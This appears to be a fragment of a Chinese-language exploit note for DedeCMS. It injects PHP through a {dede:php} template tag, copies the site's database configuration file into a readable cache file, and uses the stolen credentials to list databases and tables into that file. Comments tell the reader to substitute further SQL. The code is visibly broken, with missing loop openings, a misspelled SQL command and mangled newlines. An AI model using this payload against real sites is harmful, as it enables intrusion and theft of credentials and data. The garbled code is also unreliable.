{dede:php}copy('../data/common.inc.php','../data/cache/test.txt');{/dede:php}

//自行把{dede:php}{/dede:php}之间的内容替换成下面的,结果都是到data/cache/test.txt去看

$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
$xresult =mysql_query("show datebases;",$xdb);

   $fp = fopen("../data/cache/test.txt", 'a');
   fwrite($fp,$row['Database']."n");
   fclose($fp);
}
mysql_close($xdb);

   $fp = fopen("../data/cache/test.txt", 'a');
   fwrite($fp,$row['Tables_in_mysql ']."n");//请自行替换，mysql是数据库名
   fclose($fp);
}
mysql_close($xdb);

//注册好后，执行命令把上面的sql改下就行了
